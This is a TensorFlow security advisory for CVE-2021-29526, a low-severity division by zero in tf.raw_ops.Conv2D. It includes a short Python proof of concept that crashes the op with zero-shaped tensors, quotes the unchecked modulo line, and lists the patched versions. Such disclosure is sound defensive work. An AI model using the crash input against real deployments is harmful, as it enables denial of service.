Division by 0 in `Conv2D`

Low **mihaimaruseac** published **GHSA-4vf2-4xcg-65cx** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a division by 0 in `tf.raw_ops.Conv2D` :

```
import tensorflow as tf

input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)

strides = [1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.Conv2D(input=input, filter=filter, strides=strides, padding=padding)
```

This is because the implementation does a division by a quantity that is controlled by the caller:

```
  const int64 patch_depth = filter.dim_size(2);
  if (in_depth % patch_depth != 0) { ... }
```

Patches

We have patched the issue in GitHub commit b12aa1d44352de21d1a6faaf04172d8c2508b42b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29526

Weaknesses

No CWEs